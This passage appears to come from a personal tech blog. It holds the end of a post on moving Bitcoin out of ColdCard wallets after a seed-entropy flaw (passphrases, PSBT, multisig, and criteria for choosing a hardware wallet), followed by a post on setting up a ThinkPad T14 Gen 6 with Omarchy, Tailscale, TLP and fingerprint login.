In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string mnemonic concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display “incorrect password”; it opens another, usually empty wallet.

A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.

But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39’s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.

Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.

In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.

Sparrow, air gaps, and PSBT

Sparrow is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.

This is where PSBT, standardized in BIP174, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.

The air-gapped single-sig flow looks like this:

1. Sparrow creates the transaction on the online computer.
2. You export the PSBT through QR code or microSD.
3. ColdCard, SeedSigner, or another device displays the destination, amount, and fee.
4. You verify them on the signer’s screen and sign.
5. Sparrow imports the signed PSBT, finalizes it, and broadcasts it.

An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer’s screen exists so you can compare the address, amount, and fee before pressing Confirm.

And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.

2-of-3 multisig: safer and much more bureaucratic

Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, 2-of-3 multisig with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.

You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.

“Independent” is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.

In Sparrow, the conceptual procedure is:

1. Create and back up each seed separately.
2. Export the fingerprint, derivation path, and xpub from each signer.
3. Create a Multi Signature wallet, normally Native SegWit, with a 2-of-3 policy.
4. Import all three keystores and back up the wallet’s output descriptor.
5. Record which signers correspond to which fingerprints.
6. Verify one receiving address on more than one signer.
7. Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.

The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.

When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.

None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.

Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.

I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.

Sparrow’s best practices guide recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.

If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot “replace one key” while keeping the same addresses; the policy changed, so the scripts change too.

Fulcrum fixes privacy, not a weak key

Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.

I showed the architecture and installation in Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.

Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.

How I would migrate today

Do not turn one emergency into a second accident. I would follow this order:

1. Take inventory. List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.
2. Treat the seed as compromised. Do not enter it into online software or accept any third-party “checker.” Keep signing on the device only for as long as it takes to leave.
3. Choose the new architecture. I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.
4. Generate new entropy. Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.
5. Back up before receiving. Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.
6. Test recovery. Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.
7. Verify the address on the screen. Do not trust only what Sparrow displays on the computer monitor.
8. Send a small amount. Confirm that the new wallet can receive and spend. Coinkite also recommends this test.
9. Move the rest immediately afterward. Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.
10. Keep the old backup marked as compromised. Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.

If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key’s reach. You can reorganize UTXOs and improve the architecture later, with time to think.

So which hardware wallet do I recommend?

Today, none.

After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is very hard. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.

That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.

Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company’s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.

For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, “buy this and sleep well.” You will have to do your homework.

NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer’s official store. Do not save on shipping by placing your life savings in a device that passed through a stranger’s hands. Marketplace listings, auctions, eBay, “open box,” refurbished hardware, and that unbelievable deal from a friend are all out of the question.

When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. ColdCard uses serialized packaging that shows evidence of opening: the number appears on the bag, an internal tab, and the device itself. Trezor documents the holographic seals for each model. BitBox combines sealed packaging with cryptographic attestation performed by its app.

Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not “see whether it works,” and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.

And watch the terminology: all of this is tamper-evident, not tamper-proof. ColdCard’s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.

I would start with these questions:

1. What is the published threat model? The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. “Military-grade security” is not a threat model.
2. Where does the entropy come from, exactly? Find the sources, how they are combined, and which end-to-end tests prove the New Wallet flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.
3. Is the code actually free, and does the binary correspond to it? “Source available” under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A reproducible build lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on WalletScrutiny, not just the manufacturer’s promise.
4. How does the company treat people who find flaws? Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly “perfect” history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.
5. What can you verify on the trusted screen? Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.
6. Is there an exit route without the manufacturer? I want interoperable standards: BIP39/BIP32 where applicable, PSBT, and output descriptors. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company’s app are lock-in built on top of the key to your life.
7. How do the hardware, firmware, and supply chain work? A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.
8. Can you recover without improvising? Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.

I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside vulnerability, reproducible build, seed entropy, multisig, and responsible disclosure. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.

For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as Sparrow’s guide recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.

In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.

The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.

Conclusion

Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.

I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.

This may become one of the worst episodes in the history of Bitcoin self-custody. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.

In the worst cases, the RNG reduced the universe to something around 2^40. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.

There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the New Wallet button called the correct RNG.

It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.

The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer’s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.

I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.

Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.

I bought a Lenovo Thinkpad T14 Gen 6 and installed Omarchy on it. It’s not my main machine, and it’s not supposed to be. It’s a companion: a notebook I can open on the 3D printing office desk, SSH into the desktop, fire up Claude Code, access files on the NAS, debug the network through ethernet without hunting for a USB dongle and a long cable. This article covers the hardware choice, the Omarchy setup on top, the customizations specific to a laptop and to this Thinkpad in particular, and the architecture decisions that might not be obvious.

Mini-review of the Thinkpad T14 Gen 6

Let’s get this out of the way: this isn’t the notebook of my dreams. If I were picking by looks, I’d grab an Asus Zenbook S 14 with an OLED screen. If I were picking by portability, the Thinkpad T14s with the aluminum shell, which is lighter and much better looking. The regular T14 has a 14" 1920x1200 IPS panel, 400 nits, 60Hz, no HDR. It gets the job done, but it’s a far cry from the Zenbook’s screen. The shell is plastic with a rubberized finish, which makes it scratch-resistant but not premium. Reviews from NotebookCheck and XDA Developers land on the same verdict: good price, good connectivity, fine performance for office work, but the screen is dated.

What makes up for it:

• Port selection. Full-size HDMI. Gigabit ethernet. USB-A, USB-C Thunderbolt 4, charges over USB-C (not a proprietary charger). For a debug companion, this is exactly what I wanted. The Zenbook S 14, being thinner, cuts ports.
• Fingerprint sensor that actually works on Linux (Goodix MOC, works with libfprint on kernel 6.11+). I use this, details later.
• Thinkpad keyboard. 1.5mm key travel, trackpoint, classic layout. It’s not the best keyboard in the world in 2026, but it’s reliable and durable.
• Rugged shell. It will fall, it will scratch, it will travel in a backpack. If I put a Zenbook OLED or a Macbook Pro on the 3D printing office desk next to the printer with PLA dust in the air, I’d be nervous. The Thinkpad can take a beating.

If I wanted a gaming machine, I’d get an Asus Zephyrus G14, my favorite gaming notebook. If I wanted a creative work machine, I’d get the Asus Zenbook Duo (UX8406) with two vertical OLED screens, great for video editing and 3D modeling. I can afford any Macbook Pro or Mac Studio, and I chose not to go that way. I’ll explain in the next section.

My use case

My main PC is a desktop with Ryzen 9 7950X3D, 96 GB of RAM, RTX 5090 with 32 GB. That’s where I work, experiment with local models, run containers, edit the blog. For gaming, I have a separate mini-PC with an RTX 4090. Those two cover 100% of what I need to do at home.

The notebook exists to cover the remaining 1%: sitting on the couch, taking it to the 3D printing office, taking it to the kitchen, short trips. It’s not meant to replace the desktop. It’s meant to give me remote access to the desktop when I’m away from it.

In practice it looks like this: open the notebook, split the Hyprland layout, left pane SSHs into the main desktop, right pane is the notebook itself. Same Omarchy on both, same keybindings, same bash. The notebook becomes an extension of the desktop, not a parallel environment I have to re-learn in my head every time I switch.

SSH from outside the house: Tailscale

Inside the local network, SSH is trivial, the notebook talks to the desktop through the internal IP. Outside the house is another story. My home IP is dynamic, opening port 22 to the internet is a terrible idea, and even with DDNS and port forwarding you’re putting SSH on the public internet for any scanner to find.

The solution I use is Tailscale. For those who don’t know: Tailscale is a mesh VPN built on WireGuard that creates a private network between your devices (the “tailnet”). Each machine runs the agent, authenticates once, and gets a fixed IP on the private network (something like 100.x.y.z). Traffic between your own devices goes peer-to-peer, encrypted by WireGuard. It doesn’t route through Tailscale’s central server, they only coordinate NAT traversal. Result: from my notebook in a café anywhere in the world, I run ssh hal9000 and land on my home desktop as if I were on the same network.

More sophisticated options exist: Cloudflare Tunnel with Zero Trust to expose services publicly with SSO auth, self-hosted headscale, raw WireGuard with manual config, Nebula, OpenVPN. Each has its use case. If you need to expose services to third parties, control granular per-identity access, or run the whole infrastructure at home without depending on anyone, those options win. In my case, it’s just notebook talking to desktop, for short periods (it’s not a full week of work, it’s a weekend debug session), so free Tailscale covers it. The free tier accepts up to 100 devices and 3 users, way more than I need.

Setup is as simple as it gets:

# On Arch/Omarchy
sudo pacman -S tailscale
sudo systemctl enable --now tailscaled.service
sudo tailscale up --ssh

The --ssh flag enables Tailscale SSH, which authenticates via tailnet identity instead of a local SSH key. Once you log in through the browser to tailscale, each registered machine can SSH into the others based on ACL policy defined in the admin panel. Zero key management.

I repeat the same on the desktop, log in with the same account, done. Both machines show up in the panel (hal9000 and hal9666 in the screenshot above, both with SSH enabled). From the notebook: ssh hal9000. From the desktop to the notebook: ssh hal9666. No port forwarding, no public IP, no port 22 exposed to the internet. If the notebook is stolen, I remove it from the tailnet with one click.

A practical detail: since the tailnet gives stable names, I added entries to ~/.ssh/config to use these short names:

Host hal9000
  HostName hal9000
  User akitaonrails

Now ssh hal9000 works from anywhere that has Tailscale connected. It’s the closest thing to “it just works” I’ve seen for remote SSH.

Why not a Mac

I have no use for macOS. As a dev, I live better in native Linux. Every tool I need has a first-class Linux version, and on macOS I’d get a second-class version via Homebrew. I don’t do iOS, so I don’t need XCode. For mobile I use Flutter or Hotwire Native, which run on any OS. iTerm2 and Ghostty on Mac are fine, but Alacritty, Kitty and Ghostty itself on Linux work just as well. Every good piece of software lands on Linux first and gets ported afterwards. Arch with AUR covers everything in a single yay.

For creative work, I haven’t done it professionally in years. DaVinci Resolve Studio on Linux is better than Final Cut Pro. Krita or Affinity Photo replace Photoshop for most cases. Clip Studio Paint on Android is better than Procreate. I simply don’t have a workflow that depends on Apple, and the App Store annoys me.

For gaming, Mac is terrible. Apple Silicon has a decent GPU for some things, but the native macOS game library is pathetic compared to Windows or Linux. Game Porting Toolkit exists, CrossOver exists, but for anyone who games seriously, it doesn’t cut it. I won’t be gaming on the Thinkpad, I have the main desktop and the mini-PC with the RTX 4090 for that. But if I ever feel like running Hollow Knight or some indie on a train, I just install Steam and let Proton handle it. Linux became a real gaming platform in the last few years, with Proton/DXVK running almost the entire Steam catalog (check ProtonDB). I recently wrote about running my emulation library in distrobox without polluting the host system. With Mac, those options don’t exist.

Another argument that always shows up: “but a Mac Mini M4 or a Mac Studio with 128GB of unified memory runs large models locally, it’s a ChatGPT replacement.” I already tested that thesis and wrote a detailed benchmark. The conclusion: expensive local hardware to run LLMs is a weekend hobby, not a production tool. The open source models that fit don’t deliver the quality Claude Opus delivers. I have a home server with AMD Strix Halo and 96 GB of unified RAM, I ran models for dozens of hours, and in my real coding flow they’re fine for simple tasks. For complex tasks, Claude Opus. Before spending $4000 on a Mac Studio justifying it with local models, actually test it first. You’ll probably end up paying for Opus again.

Why Omarchy

I’ve been using Omarchy on the desktop for months and documented the path in a series of articles. Omarchy 2.0 has its own installer with LUKS, Btrfs, Limine, snapper and SDDM already configured. I wrote about using the official ISO, about ZSH customizations with atuin, starship, secrets properly organized, about Mise for multiple languages, about LazyVim and LazyExtras, about SSH and Yubikeys, about modern TUIs. There’s also Omarchy 3 with dual GPU AMD + NVIDIA and Crush as a coding agent.

For those who don’t know: Omarchy is plain Arch Linux with a cosmetic layer on top of Hyprland/Wayland. Pre-configured with sane defaults. I could build all of it from scratch, I’ve done it several times in my life, but why redo work someone already did well? I install Omarchy, I stack the tweaks that are mine on top, and I have customized Arch in a fraction of the time.

A point I raise every time I recommend Omarchy: the documentation is excellent. There’s an official manual covering everything from installation to theme customization, keybindings, Hyprland, Waybar, the works. If you’re coming from Ubuntu or Fedora and are wary of Arch, this manual handles most of the doubts. If you’ve never touched Hyprland, open it and read around. It’s not a README dumped on GitHub, it’s a real manual with chapters and an index.

The story of this article starts in a previous thread. I recently migrated my home server, swapping an old Ubuntu box for a Minisforum MS-S1 running openSUSE MicroOS configured with Claude Code. That was the first serious experiment of letting Claude Code drive an entire infra migration, with containers, NFS, services, networking. It worked. And it left an idea in the air: why not use the same approach to configure a new notebook?

That’s what I did. I grabbed the Thinkpad, downloaded the latest Omarchy ISO, burned it to a flash drive, installed it over Windows. From zero to working desktop in under an hour. From there on, it’s all tweaking, which I documented as I went.

I’ll detail the two layers of customization: what any notebook needs, and what’s specific to this Thinkpad.

Laptop-specific configs

A notebook has problems a desktop doesn’t: battery, suspend, lid, brightness, trackpad. Those are the parts Omarchy default doesn’t cover the way I want.

Power management with TLP

Omarchy defaults to power-profiles-daemon. I swapped it for TLP, which gives granular control over CPU scaling, battery thresholds and dynamic profiles based on AC vs battery.

sudo pacman -S tlp tlp-rdw
sudo systemctl mask power-profiles-daemon.service
sudo systemctl enable --now tlp.service

The mask is necessary because upower pulls power-profiles-daemon back in if you just disable it.

Charge thresholds: 60% to start, 85% to stop. The notebook spends most of its time plugged in on the office desk, and keeping the battery at 100% 24/7 wrecks capacity over time. With 60/85, the battery spends most of its time in the healthy lithium range and still has decent usable capacity.

Profiles: balanced with balance_power on battery, performance on AC. TLP’s low-power was too aggressive on the Core Ultra 5 235U, window and terminal response became noticeable. Balanced gives the best consumption/responsiveness ratio for normal use.

There’s a gotcha: tlp auto after tlp ac doesn’t always re-apply the battery profile. I wrote a small script bound to Super+Ctrl+P that reads the current state and calls tlp bat or tlp ac explicitly:

#!/bin/bash
set -euo pipefail

profile=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null || echo unknown)
on_ac=$(cat /sys/class/power_supply/AC*/online 2>/dev/null | head -1 || echo 0)

if [[ "$profile" == "performance" ]]; then
  if [[ "$on_ac" == "1" ]]; then
    sudo /usr/bin/tlp auto >/dev/null
    label="Plugged in — back to AC auto"
  else
    sudo /usr/bin/tlp bat >/dev/null
    label="On battery — normal profile"
  fi
  notify-send -t 2000 "Performance mode: off" "$label" 2>/dev/null || true
else
  sudo /usr/bin/tlp ac >/dev/null
  notify-send -t 2000 "Performance mode: on" "Forcing AC profile" 2>/dev/null || true
fi

In waybar, a custom module custom/perf shows the current state (󰓅 PERF, 󰌪 ECO, or empty for balanced) and accepts a click to toggle. The output script is tiny:

#!/bin/bash
p=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null)
case "$p" in
  performance) printf '󰓅 PERF' ;;
  low-power)   printf '󰌪 ECO'  ;;
  balanced|"") printf ''       ;;
  *)           printf '%s' "$p" ;;
esac

Suspend, hibernate, and the lid

This is what changed compared to the notebooks I used in 2015. The T14 Gen 6 closes the lid, suspends, and wakes up when you open it. No bug, no weird delay, no needing to log in again mid graphical session. Hyprlock kicks in after the suspend, accepts fingerprint or password, and brings me back to the desktop in seconds. This is the behavior Apple has had for years and that on Linux used to be an adventure. In 2026, on modern hardware with kernel 6.11+, it just works.

Mem sleep mode is s2idle (no deep sleep). Hibernation is enabled via a ~30 GB Btrfs swapfile and resume=/dev/mapper/root resume_offset=... on the Limine kernel cmdline. I rarely use it, but it’s there.

Hypridle has aggressive timeouts for a laptop:

• 2.5 min → screensaver
• 5 min → lock
• 5.5 min → DPMS off + keyboard backlight off

After lock, another 5 min and the screen turns off completely. On unlock, it restores screen and keyboard brightness to the previous level. These timings are much shorter than on the desktop (20-40 min there). The battery difference over a day is measurable.

Brightness and keyboard backlight

brightnessctl controls both. Fn+Space toggles the keyboard backlight across three levels. Hypridle saves the current level before turning off and restores it on resume. Command I use in the script:

brightnessctl -sd '*::kbd_backlight' set 0    # save and turn off
brightnessctl -rd '*::kbd_backlight'          # restore

Touchpad

In hypr/input.conf:

touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace

clickfinger_behavior swaps the 2-finger click as right-click (more comfortable than hitting the lower-right zone). disable_while_typing is basic palm rejection. Three-finger horizontal swipes switch workspaces, the most useful gesture in Hyprland.

Thinkpad-specific configs

This is what’s specific to this model. Some things modern Linux handles on its own, others need explicit configuration.

Fingerprint sensor

Goodix MOC 27c6:6594, works with libfprint 1.94.9+ on kernel 6.11+. Package is fprintd.

sudo pacman -S fprintd
fprintd-enroll                        # right index finger by default
fprintd-enroll -f left-index-finger   # other finger

To make sudo accept fingerprint, I added auth sufficient pam_fprintd.so above the pam_unix.so line in /etc/pam.d/sudo. With sufficient, if the fingerprint passes, it authenticates directly. If it fails or I hit ESC, it falls back to the password prompt. This is genuinely worth it: dozens of times a day, sudo pacman -Syu or sudo systemctl restart something, and I just touch the sensor.

On hyprlock, I use hyprlock’s native configuration, not PAM:

auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}

The PAM path gives a double prompt. Configured natively, hyprlock accepts fingerprint or password, whichever succeeds first unlocks.

On SDDM (initial login), I kept password only. The reason: the login password unlocks the GNOME keyring, and the fingerprint can’t provide plaintext for that. Once the keyring is unlocked, hyprlock can use fingerprint without issues.

In practice, sudo looks like that. Touch the sensor, authenticate, move on.

Brazilian Thinkpad keyboard

The Brazilian Thinkpad keyboard has an annoying quirk. The /? key sits where the right Ctrl would be (keycode 97), not in the traditional ABNT2 AB11 position (keycode 89). If you use the standard br(abnt2) layout, that key is inaccessible. It literally prints nothing.

The solution is the br(thinkpad) variant that exists in /usr/share/X11/xkb/symbols/br:

xkb_symbols "thinkpad" {
    include "br(abnt2)"
    name[Group1]="Portuguese (Brazil, IBM/Lenovo ThinkPad)";
    key <RCTL> { [ slash, question, degree, questiondown ] };
};

In hypr/input.conf:

kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60

And system-wide for TTY/X11:

sudo localectl set-keymap br-abnt2
sudo localectl set-x11-keymap br thinkpad thinkpad60

I wrote a small Python that reads raw scancodes from /dev/input/event* to diagnose these quirks. Useful when a key decides not to work and you need to find out if it’s hardware, kernel, or xkb.

Input method: fcitx5

Alongside the layout I install fcitx5. Input method, for those who don’t know, is the layer that turns a key sequence into characters. It handles deadkeys (tilde for nasalization, acute accent, circumflex), composing characters that aren’t on the keyboard (ç, Ç, uppercase accented letters), emoji support. In Qt or GTK apps, the input method also drives context menus for cedilla and accents.

Packages:

sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt

And the environment variables for toolkits to find fcitx5. I created ~/.config/environment.d/fcitx.conf:

INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx

systemd’s environment.d is loaded before graphical sessions, so Brave, Alacritty, VS Code and any GTK/Qt app pick it up automatically. I enable autostart in Hyprland:

exec-once = fcitx5 -d

Typing ~a produces ã, 'e produces é, ç works as it should in every app. On a Brazilian Thinkpad keyboard, this is the difference between typing Portuguese naturally or hunting for each character.

SOF audio

Realtek ALC3306/ALC287 codec via Sound Open Firmware. Without sof-firmware, the kernel module loads but the DSP never boots and PipeWire silently falls back to auto_null. Result: you think the speaker is on mute, but actually PipeWire has no device at all.

sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber

If you need to force SOF instead of legacy HDA:

echo "options snd-intel-dspcfg dsp_driver=3" | sudo tee /etc/modprobe.d/alsa.conf

Reload without reboot:

sudo modprobe -r snd_sof_pci_intel_mtl
sudo modprobe snd_sof_pci_intel_mtl
systemctl --user restart wireplumber pipewire pipewire-pulse

Firmware updates via fwupd

fwupdmgr update works, but with Limine there’s a gotcha: fwupd tries to write to /boot/EFI/systemd/ or /boot/EFI/arch/, which don’t exist. The workaround:

sudo mkdir -p /boot/EFI/arch
sudo fwupdmgr update -y --no-reboot-check
fwupdmgr get-history  # should show "Success"

HiDPI / fractional scaling

14" panel at 1920x1200, Hyprland’s free resolution. Omarchy’s auto 1.5x felt too chunky. I pinned it at 1.333x:

env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2

Effective 1440x900. GTK with GDK_SCALE=1 renders 1:1 with Hyprland (no double magnification). VRR mode 2 only in fullscreen, because LCD panels tend to flicker on static content with VRR active.

Brave and Chromium flags to render well at this scale:

--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization

VAAPI makes a real difference on YouTube battery life.

Tuning Omarchy to be mine

Omarchy comes with good defaults. What I adjust stacks on top of them, without touching ~/.local/share/omarchy/ (which is clobbered by omarchy-update). All customization lives in ~/.config/.

Infra: Btrfs, snapshots, Snapper

Omarchy already ships with Btrfs and separate subvolumes:

@home separated means ~/.cache, ~/.config/BraveSoftware, etc. don’t bloat root snapshots. Snapshot is for system, not profile.

Swap: 4 GB zram at priority 100 (hit first), plus a 30 GB swapfile at priority 0 (enables hibernation, sized to match RAM).

The snapshot stack: Snapper takes a snapshot before and after every pacman -Syu via snap-pac. limine-snapper-sync writes those snapshots into the Limine menu, so you can boot into a previous snapshot to roll back. If something breaks after an update, you hold a key on boot, pick the pre-update snapshot, boot read-only to verify, and if it’s good, run snapper rollback.

Omarchy leaves snapper-cleanup.timer and snapper-boot.timer disabled by default. I enabled both and configured retention to fit on a 1 TB SSD without blowing up:

TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
